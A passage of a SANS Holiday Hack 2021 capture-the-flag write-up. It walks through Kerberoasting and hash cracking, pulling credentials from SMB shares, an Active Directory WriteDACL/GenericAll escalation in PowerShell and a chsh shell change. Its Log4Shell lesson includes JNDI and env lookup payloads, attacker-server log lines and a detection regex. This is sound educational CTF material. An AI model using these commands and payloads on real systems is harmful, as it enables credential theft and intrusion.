Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2021-12-27 15:39:53.201057
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2021-12-27 15:39:53.201057
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2021-12-27 15:39:53.201057
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2021-12-27 15:39:53.201057
user@grades:~$ cat spns.txt

After obtaining them, we can now attempt to crack the hashes on our own host machine. However, we need to generate a wordlist. NPC Eve Snowshoes gave us a hint that we can use CeWL to crawl the website to generate a wordlist which we should set to take in digits as well. Once we crawl the website, we copy it to our host machine to crack the hash.

kali@kali~$ cewl -d 3 --with-numbers -w wordlist.txt
kali@kali~$ sudo apt install xclip
kali@kali~$ cat wordlist.txt | xclip

I am using Windows thus I cracked it with GPU. First, we have to download the rules file. Then we can attempt to crack it.

cmd> hashcat.exe -m 13100 -a 0 spns.txt --potfile-disable -r OneRuleToRuleThemAll.rule --force -O -w 4 --opencl-device-types 1,2 wordlist.txt

SMB share (elfu_svc_shr)

Remember NPC Eve Snowshoes told us that the credentials may be hiddle in a script? We can first try to list the shared folders in the host,

qiaedikfyn@grades:~$ smbclient -L
Enter WORKGROUP\qiaedikfyn's password:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        netlogon        Disk
        sysvol          Disk
        elfu_svc_shr    Disk      elfu_svc_shr
        research_dep    Disk      research_dep
        IPC$            IPC       IPC Service (Samba 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available

Since we have the credentials obtained from Kerberoasting, we can attempt to access the shared folders with that.

qiaedikfyn@grades:~$ smbclient \\\\\\elfu_svc_shr -U elfu_svc
Enter WORKGROUP\elfu_svc's password: Snow2021!
Try "help" to get a list of possible commands.
smb: \>

There are a lot of files to check the content. We can recursively download all files.

smb: \> prompt off
smb: \> recurse on
smb: \> mget *

After downloading the files, I searched for the credentials and found something promising.

qiaedikfyn@grades:~$ cat GetProcessInfo.ps1
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

We can now PS remote into the machine using the found credentials.

qiaedikfyn@grades:~$ powershell
PS /home/user> $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
PS /home/qiaedikfyn> $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
PS /home/qiaedikfyn> Enter-PSSession -ComputerName -Credential $aCred -Authentication Negotiate
[]: PS C:\Users\remote_elf\Documents> 

Enumerate AD Rights

As there is another shared folder in SMB, we would like to access it which is research_dept. This is because the challenge wanted us to obtain the secret sleigh research document from the host on the Elf University domain. Hence, we can take a look and see those in that group with WriteDACL privilege. However, we ned to find out the research_dept group name. Thus we can use “net groups”.

[]: PS C:\Users\remote_elf\Documents> net groups

We can further confirm the CN value of the group name to query for by searching in LDAP.

[]: PS C:\Users\remote_elf\Documents> (New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://CN=Users,DC=elfu,DC=local")).FindAll() | findstr /i "research"
LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local                     {usnchanged, distinguishedname, displayname, whencreated...}

Now that we know the group name, we can query to see those accounts in the ResearchDepartment group that has WriteDACL privilege.

[]: PS C:\Users\remote_elf\Desktop> ([ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local").psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

We can see ELFU\remote_elf has WriteDacl privilege which allows us to modify privileges in the group. Since we have access to ELFU\remote_elf from the machine, we can add the account we first register on the ELF university website into the group. This will prevent spoilers for others if we do not make ELFU\remote_elf have GenericAll privilege. I followed the YouTube video from Chris to give the account privileges to the group.

[]: PS C:\Users\remote_elf\Desktop> Add-Type -AssemblyName System.DirectoryServices
[]: PS C:\Users\remote_elf\Desktop> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[]: PS C:\Users\remote_elf\Desktop> $username = "qiaedikfyn"
[]: PS C:\Users\remote_elf\Desktop> $nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
[]: PS C:\Users\remote_elf\Desktop> $propGUID = [guid]'00000000-0000-0000-0000-000000000000'
[]: PS C:\Users\remote_elf\Desktop> $IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
[]: PS C:\Users\remote_elf\Desktop> $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
[]: PS C:\Users\remote_elf\Desktop> $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID)
[]: PS C:\Users\remote_elf\Desktop> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
[]: PS C:\Users\remote_elf\Desktop> $secOptions = $domainDirEntry.get_Options()
[]: PS C:\Users\remote_elf\Desktop> $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
[]: PS C:\Users\remote_elf\Desktop> $domainDirEntry.RefreshCache()
[]: PS C:\Users\remote_elf\Desktop> $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
[]: PS C:\Users\remote_elf\Desktop> $domainDirEntry.CommitChanges()
[]: PS C:\Users\remote_elf\Desktop> $domainDirEntry.dispose()

We can then verify if our account now has GenericAll privilege.

[]: PS C:\Users\remote_elf\Desktop> ([ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local").psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\qiaedikfyn
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Finally, we have to add the account to the Research Department group.

[]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[]: PS C:\Users\remote_elf\Documents> $username = "qiaedikfyn"
[]: PS C:\Users\remote_elf\Documents> $password = "password"
[]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
[]: PS C:\Users\remote_elf\Documents> $user =  New-Object System.Security.Principal.NTAccount("elfu.local\$username")
[]: PS C:\Users\remote_elf\Documents> $sid = $user.Translate([System.Security.Principal.SecurityIdentifier])
[]: PS C:\Users\remote_elf\Documents> $b = New-Object byte[] $sid.BinaryLength
[]: PS C:\Users\remote_elf\Documents> $sid.GetBinaryForm($b,0)
[]: PS C:\Users\remote_elf\Documents> $hexSID=[BitConverter]::ToString($b).Replace('-','')
[]: PS C:\Users\remote_elf\Documents> $domainDirEntry.Add("LDAP://<SID=$hexSID>")
[]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()

SMB Shared folder (research_dep)

We can now access the research_dep shared folder using our account.

qiaedikfyn@grades:~$ smbclient \\\\\\research_dep
Enter WORKGROUP\qiaedikfyn's password: password
Try "help" to get a list of possible commands.
smb: \> 

If we see the content, we will see there is only one file. Download it.

smb: \> dir
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Tue Dec 28 21:35:08 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

                41089256 blocks of size 1024. 34575816 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf

Download file

If you try to download files into your host system using the SCP tool, it will complain of the TERM environment not being set. This is because when you run SCP, the original; /opt/grading_system program is run hence SCP cannot download your file. We can verify this by checking it from /etc/passwd.

qiaedikfyn@grades:~$ cat /etc/passwd

Hence we can change our login shell to /bin/bash using chsh command. I first checked if the admin unset the SUID bit of chsh. However, it is still there hence we can use it. This will allow us to SCP our Santa file successfully.

qiaedikfyn@grades:~$ ls -l /bin/chsh
-rwsr-xr-x 1 root root 53040 Jul 14 22:08 /bin/chsh
qiaedikfyn@grades:~$ chsh -s /bin/bash qiaedikfyn
qiaedikfyn@grades:~$ cat /etc/passwd

We can now download the PDF file into our host system so that we can view the PDF file in GUI.

cmd> scp -P 2222 SantaSecretToAWonderfulHolidaySeason.pdf


Opening the PDF file, we can see the flag which is the first ingredient.

Finally, we can submit the flag.

FPGA Programming

This challenge is located at Frost Tower’s rooftop. To do this challenge, you should have some background in Verilog. Otherwise, you have to YouTube for some tutorial lessons.

We can see that we first have to create a square wave. Some sample code has already been given to us.


// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following 
// inputs/outputs:
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
    // TODO: Add your code below. 
    // Remove the following line and add your own implementation. 
    // Note: It's silly, but it compiles...
    reg wave_out_reg = 0;
	assign wave_out = wave_out_reg;
	integer counter = 0;
	// rounding the decimal frequency
	wire [31:0] new_freq;
	assign new_freq = (freq + 32'd50) / 32'd100;
    always @(posedge clk) begin
		if (rst) begin
			counter <= 32'd0;
			wave_out_reg <= 1'b0;
		else begin 
			// If counter is zero, toggle wave_out_reg 
			if (counter == 32'd0) begin
				wave_out_reg <= ~wave_out_reg;
				// Generate 0.5Hz Frequency from CLK's 125MHz Frequency 
				counter <= (32'd125000000/new_freq)/2 - 1;
			// Else count down
				counter <= counter - 1; 

This post has a very good explanation. Hope it helps if you don’t understand my solution.

Special stage

Once you completed the challenge after programming the door, click on the stuff on the table. You will see the image below. Drag the FPGA chip to the board.

A spaceship will then descend on the rooftop and you will receive another achievement.

Logic Munchers

This challenge is located right outside Santa’s castle. This challenge will test the basic understanding of logic expressions.

Since we just need to complete a stage in Potpourri at Intermediate or higher, I chose to do an intermediate level.

Below shows how is what the challenge is like. We basically need to select all those that are TRUE. Pink trolls will be moving around. If we touch them, we lose a life. Whenever a troll goes to a grid, it may change the question. Thus, there is no point for me to show the solutions as the question keeps changing.

Holiday Hero

This challenge is located at Santa’s castle’s NetWars level. This challenge is quite easy as it is basically a game, similar to Guitar Hero.


Note that you must play as Player1 to receive the achievement. Once both of you switch the button to “on”, the game will start. If you get at least 80% fuel level, you will receive the achievement.

Strace Ltrace Retrace

This challenge is located at Santa’s castle’s kitchen. This challenge is a bit similar to the Yara Analysis challenge where we solve an issue, run the program, solve the next issue, and so on until the program is able to run successfully. We will get to learn to use strace or ltrace to debug a program. Let’s get started!

Missing configuration file

We can start off by using ltrace to run on the program.

kotton_kandy_co@2ac08ab92d02:~$ ls
kotton_kandy_co@2ac08ab92d02:~$ ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0
puts("Unable to open configuration fil"...Unable to open configuration file.
)               = 35
+++ exited (status 1) +++

If we use strace to trace the program,

kotton_kandy_co@27dbec91a9ee:~$ strace ./make_the_candy 
execve("./make_the_candy", ["./make_the_candy"], 0x7fff4ada7e40 /* 12 vars */) = 0
brk(NULL)                               = 0x56309bdc3000
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=19540, ...}) = 0
mmap(NULL, 19540, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff5d8c7b000
close(3)                                = 0
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\35\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030928, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff5d8c79000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff5d8666000
mprotect(0x7ff5d884d000, 2097152, PROT_NONE) = 0
mmap(0x7ff5d8a4d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7ff5d8a4d000
mmap(0x7ff5d8a53000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff5d8a53000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ff5d8c7a4c0) = 0
mprotect(0x7ff5d8a4d000, 16384, PROT_READ) = 0
mprotect(0x56309b8c0000, 4096, PROT_READ) = 0
mprotect(0x7ff5d8c80000, 4096, PROT_READ) = 0
munmap(0x7ff5d8c7b000, 19540)           = 0
brk(NULL)                               = 0x56309bdc3000
brk(0x56309bde4000)                     = 0x56309bde4000
openat(AT_FDCWD, "registration.json", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "Unable to open configuration fil"..., 35Unable to open configuration file.
) = 35
exit_group(1)                           = ?
+++ exited with 1 +++

We can see both strace and ltrace shows the last execution ended at searching for registration.json in the current working directory (AT_FDCWD) but it cannot be found.

We can solve this by creating an empty registration.json file.

kotton_kandy_co@27dbec91a9ee:~$ echo "" > registration.json

Unregistered – Exiting

When we run the program again, we see the next issue which is something regarding unregistered.

kotton_kandy_co@27dbec91a9ee:~$ rm registration.json

Let’s use ltrace again to find out the issue.

kotton_kandy_co@27dbec91a9ee:~$ ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x558a27b43260
getline(0x7ffef47e65e0, 0x7ffef47e65e8, 0x558a27b43260, 0x7ffef47e65e8) = 1
strstr("\n", "Registration")                              = nil
getline(0x7ffef47e65e0, 0x7ffef47e65e8, 0x558a27b43260, 0x7ffef47e65e8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

We can see it is looking for the string “Registration” in the registration.json but an error was caused as it only found “\n” based on the empty echo command I used when I created the registration.json. Seems like we have to rebuild registration.json by placing content the program requires. Thus, I included the string “Registration” and sees the next issue.

kotton_kandy_co@6122fa5feb37:~$ echo Registration > registration.json
kotton_kandy_co@6122fa5feb37:~$ ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x561cce380260
getline(0x7ffd584f6a70, 0x7ffd584f6a78, 0x561cce380260, 0x7ffd584f6a78) = 13
strstr("Registration\n", "Registration")                  = "Registration\n"
strchr("Registration\n", ':')                             = nil
getline(0x7ffd584f6a70, 0x7ffd584f6a78, 0x561cce380260, 0x7ffd584f6a78) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

We can see the next condition is to search for char ‘:’. Thus, we can add it to the string.

kotton_kandy_co@6122fa5feb37:~$ echo Registration: > registration.json
kotton_kandy_co@6122fa5feb37:~$ ./make_the_candy 
Unregistered - Exiting.
kotton_kandy_co@6122fa5feb37:~$ ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x5654d6a71260
getline(0x7fff171f3ae0, 0x7fff171f3ae8, 0x5654d6a71260, 0x7fff171f3ae8) = 14
strstr("Registration:\n", "Registration")                 = "Registration:\n"
strchr("Registration:\n", ':')                            = ":\n"
strstr(":\n", "True")                                     = nil
getline(0x7fff171f3ae0, 0x7fff171f3ae8, 0x5654d6a71260, 0x7fff171f3ae8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

We can see the next string the program searches for is “True”. We can add it into registration.json and run the program. There should not be any more errors, causing us to clear this challenge.

kotton_kandy_co@6122fa5feb37:~$ echo Registration:True > registration.json
kotton_kandy_co@6122fa5feb37:~$ ./make_the_candy 

The above shows the final output. The output is too long hence I only show the final output.

Log4J Red Bonus

Both Loj4J Red and Log4J Blue are located at the North Pole. This set of challenges is only recently added as it was a recent zero-day during the mid of the SANS Holiday Hack.

If we talk to Icky McGoop, she will give us sources we can refer to for this challenge. They are this help document and Log4J discussion.

Technically, the help document given is already the walk-through. We just need to follow it and understand. Hence, I wouldn’t be posting the write-up for it.

Follow the steps and we will find out the flag is “patching”.

Log4J Blue Bonus

This challenge is located at the North Pole as well. If we talk to NPC Bow Ninecandle, he will give us 3 hints. They are an Apache article on searching for Log4J vulnerability, a talk by Prof. Qwerty Petabyte on Log4J, and a script to search the log if the system has already been attacked via Log4J vulnerability. This challenge is basically a step-by-step walkthrough on how to defend against Log4J.

I will just be copying and pasting the instructions and the commands I did, just in case you didn’t want to directly try out the challenge.

In this lesson we'll look at Java source code to better understand the Log4j vulnerabilities described in CVE-2021-44228. You don't need to be a programmer to benefit from this lesson!
Run 'next' to continue.

elfu@b0a0c1c89196:~$ next

I have prepared several files for you to use in this lesson. Run the 'ls' command to see the files for this lesson.

elfu@b0a0c1c89196:~$ ls
log4j2-scan  patched  vulnerable

First we'll look at the some Java source, including an example of a vulnerable Java program using the Log4j library.
Change to the vulnerable directory with the command 'cd vulnerable'

elfu@b0a0c1c89196:~$ cd vulnerable/

List the files in this directory. Run the 'ls' command.

elfu@b0a0c1c89196:~/vulnerable$ ls  log4j-api-2.14.1.jar  log4j-core-2.14.1.jar  testfile.txt

Here we have Java source code (with the .java file name extension), and a vulnerable version of the Log4j library.
Display the contents of the source code with the 'cat' command.

elfu@b0a0c1c89196:~/vulnerable$ cat 

public class DisplayFilev1 {
    public static void main(String[] args) throws Exception {

        File file = new File(args[0]);
        BufferedReader br = new BufferedReader(new FileReader(file));

        String st;
        while ((st = br.readLine()) != null) {

This Java program has one job: it reads a file specified as a command-line argument, and displays the contents on the screen. We'll use it as an example of error handling in Java.
Let's compile this Java source so we can run it. Run the command 'javac'.

elfu@b0a0c1c89196:~/vulnerable$ javac

Nice work! You just compiled the Java program. Next, run the program and display the contents of the testfile.txt file.
Run 'java DisplayFilev1 testfile.txt'

elfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev1 testfile.txt 
Hello from Prof. Petabyte!

This program did its job: it displayed the testfile.txt contents. But it also has some problems. Re-run the last command, this time trying to read testfile2.txt

elfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev1 testfile2.txt 
Exception in thread "main" testfile2.txt (No such file or directory)
        at Method)
        at DisplayFilev1.main(

This program doesn't gracefully handle a scenario where the file doesn't exist. Program exceptions like this one need consistent handling and logging, which is where Log4j comes in.
Run 'next' to continue.

elfu@b0a0c1c89196:~/vulnerable$ next

The Apache Log4j library allows developers to handle logging consistently in code.
Let's look at an example of a modified version of this program. Run 'cat'.

elfu@b0a0c1c89196:~/vulnerable$ cat 
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class DisplayFilev2 {
    static Logger logger = LogManager.getLogger(DisplayFilev2.class);
    public static void main(String[] args) throws Exception {
        String st;
        try {
            File file = new File(args[0]);
            BufferedReader br = new BufferedReader(new FileReader(file));

            while ((st = br.readLine()) != null)
        catch (Exception e) {
            logger.error("Unable to read file " + args[0] + " (make sure you specify a valid file name).");

This Java program has the same functionality, but the first few lines adds support for the log4j library. The 4th line from the bottom calls Log4j with the logger.error() function, followed by a logging message.
Run 'next' to continue.

elfu@b0a0c1c89196:~/vulnerable$ next

Let's compile this Java source with Log4j support so we can run it. Run the command 'javac'.

elfu@b0a0c1c89196:~/vulnerable$ javac

Nice work! Let's run the program and tell it to read testfile2.txt file.
Run 'java DisplayFilev2 testfile2.txt'

elfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev2 testfile2.txt 
14:47:04.961 [main] ERROR DisplayFilev2 - Unable to read file testfile2.txt (make sure you specify a valid file name).

This time, the program doesn't crash - it exits with an error message generated by Log4j. The Log4j library is valuable to produce consistent logging messages that can be handled flexibly. Unfortunately, multiple
vulnerabilities allows attackers to manipulate this functionality in many versions of Log4j 2 before version 2.17.0.
Run 'next' to continue.

elfu@b0a0c1c89196:~/vulnerable$ next

The CVE-2021-44228 Log4j vulnerability is from improper input validation. Log4j includes support for lookup features, where an attacker can supply input that retrieves more data than intended from the system.
Re-run the prior java command, replacing testfile2.txt with the string '${java:version}' (IMPORTANT: include the quotation marks in this command)

elfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev2 '${java:version}'
14:54:47.456 [main] ERROR DisplayFilev2 - Unable to read file Java version 1.8.0_312 (make sure you specify a valid file name).

Notice how the error has changed - instead of a file name, the error shows the Java version information. The Log4j lookup command java:version retrieves information from the host operating system.
Let's try another example: re-run the last command, changing the java:version string to env:APISECRET

eelfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev2 '${env:APISECRET}'
15:02:16.960 [main] ERROR DisplayFilev2 - Unable to read file pOFZFiWHjqKoQaRhNYyC (make sure you specify a valid file name).

Using the Log4j env lookup, attackers can access local environment variables, possibly disclosing secrets like this one. Log4j also supports lookup requests using the Java Naming and Directory Interface (JNDI). These
requests can reach out to an attacker server to request data.
Run 'next' to continue.

u@b0a0c1c89196:~/vulnerable$ next

Log4j lookups can also tell the vulnerable server to contact the attacker using LDAP and DNS. Run the command to launch a simple server for testing purposes.

u@b0a0c1c89196:~/vulnerable$ ./
Listening on 1389

The bottom window is waiting for a connection at the specified IP address and port. Re-run the DisplayFilev2 program, using the Log4j lookup to connect to the server:  java DisplayFilev2 '${jndi:ldap://}'

elfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev2 '${jndi:ldap://}'

[In the terminal running LDSP server]
Connection received on 35470

Notice how the server received a connection from the vulnerable application in the server ("Connection received")? This is a critical part of the Log4j vulnerability, where an attacker can force a server to connect to an
attacking system to exploit the vulnerability.
Press CTRL+C to close the DisplayFilev2 program and continue with this lesson.

[server exited]

To address this vulnerability, applications need an updated version of Log4j.
Change to the ~/patched directory by running 'cd ~/patched

elfu@b0a0c1c89196:~/vulnerable$ cd ~/patched

List the contents of this directory with the 'ls' command

elfu@b0a0c1c89196:~/patched$ ls  log4j-api-2.17.0.jar  log4j-core-2.17.0.jar

This is the same source, but the Log4j library is updated to a patched version.
To use the updated library, change the Java CLASSPATH variable by running 'source'

elfu@b0a0c1c89196:~/patched$ source
Changing the Java CLASSPATH to use patched Log4j

Compile the source using the patched Log4j library. Run 'javac'

elfu@b0a0c1c89196:~/patched$ javac

Use the Log4j lookup string java:version by running the following command: java DisplayFilev2 '${java:version}'  IMPORTANT: include the quotation marks in this command.

elfu@b0a0c1c89196:~/patched$ java DisplayFilev2 '${java:version}'
15:21:01.452 [main] ERROR DisplayFilev2 - Unable to read file ${java:version} (make sure you specify a valid file name).

With the fixed Log4j library, attackers can't use the lookup feature to exploit library. The same program displays the ${java:version} lookup as a literal string, without performing the actual lookup.
Next, we'll look at a technique to scan applications for the vulnerable Log4j library. Run 'cd' to return to the home directory.

elfu@b0a0c1c89196:~/patched$ cd

The log4j2-scan utility is a tool to scan for vulnerable Log4j application use. Run the log4j2-scan utility, specifying the vulnerable directory as the first command-line argument.

elfu@b0a0c1c89196:~$ log4j2-scan ~
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /home/elfu (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /home/elfu/vulnerable/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 3 directories and 19 files
Found 1 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.01 seconds

Log4j2-scan quickly spots the vulnerable version of Log4j.
Repeat this command, changing the search directory to patched.

elfu@b0a0c1c89196:~$ log4j2-scan ~/patched/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /home/elfu/patched/ (without tmpfs, shm)

Scanned 1 directories and 5 files
Found 0 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds

Log4j2-scan can also scan large directories of files.
This server includes the Apache Solr software that uses Log4j in the /var/www/solr directory. Scan this directory with log4j2-scan to identify if the server is vulnerable.

elfu@b0a0c1c89196:~$ log4j2-scan /var/www/solr
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /var/www/solr (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/server/lib/ext/log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/contrib/prometheus-exporter/lib/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 102 directories and 1988 files
Found 2 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.35 seconds

Log4j2-scan finds two vulnerable Log4j libraries: one for the Solr platform, and one for a third-party plugin. Both need to be patched to resolve the vulnerability.
Next, we'll look at scanning system logs for signs of Log4j attack.
Run 'next' to continue.

elfu@b0a0c1c89196:~$ next

The CVE-2021-44228 Log4j exploit using JNDI for access is known as Log4shell. It uses the JNDI lookup feature to manipulate logs, gain access to data, or run commands on the vulnerable server. Web application servers are a
common target.
Let's scan the web logs on this server. Examine the files in the /var/log/www directory.

elfu@b0a0c1c89196:~$ ls /var/log/www

We can scan web server logs to find requests that include the Log4j lookup syntax using a text pattern matching routine known as a regular expression. Examine the contents of the script using 'cat'

elfu@b0a0c1c89196:~$ cat 
grep -E -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' $1

This script recursively searches for Log4shell attack syntax in any files. Run the command, specifying the /var/log/www directory as the search target.

elfu@b0a0c1c89196:~$ /var/log/www
/var/log/www/access.log: - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0"
/var/log/www/access.log: - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://}"
/var/log/www/access.log: - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://}"

In this output we see three examples of Log4shell attack. Let's look at each line individually.
Re-run the previous command, piping the output to | sed '1!d' to focus on the first line.

elfu@b0a0c1c89196:~$ /var/log/www | sed '1!d'
/var/log/www/access.log: - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0"

In this first attack, we see the attacker is at The Log4j lookup command is sent as a URL GET parameter, attempting to use JDNI to reach the attacker LDAP server at ldap:// (see in the
${jndi:ldap://} string).
Re-run the previous command, this time looking at the 2nd line of output.

elfu@b0a0c1c89196:~$ /var/log/www | sed '2!d'
/var/log/www/access.log: - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://}"

In this second attack, we see the attacker is at Instead of a URL GET parameter, this time the exploit is sent through the browser User-Agent field. The attacker attempted to use JDNI to reach the attacker DNS
server at dns://, using a different IP than the exploit delivery address.
Re-run the previous command, this time looking at the 3rd line of output.

elfu@b0a0c1c89196:~$ /var/log/www | sed '3!d'
/var/log/www/access.log: - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://}"

Here we see the attacker is at This attack is also sent through the browser User Agent field, but this more closely resembles the first attack using the attacker LDAP server at The
DefinitelyLegitimate string is supplied by the attacker, matching a malicious Java class on the LDAP server to exploit the victim Log4j instance.
Run 'next' to continue.

elfu@b0a0c1c89196:~$ next

You've completed the lesson on Log4j vulnerabilities. Run 'exit' to close.

elfu@b0a0c1c89196:~$ exit


This challenge is located at Santa castle’s Great hall. This challenge mostly tests us on using filters on Splunk.

If we click on the Splunk monitor, we will be brought to this website. There is a total of 8 questions to answer. Submit the answer in the textbox and press enter.

Task 1


Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use. 

Go to the hyperlink on pointer 4. We will see “git status” as the topmost used git command. The filtering has already been done for us to sort by the most common commands used.

Task 2


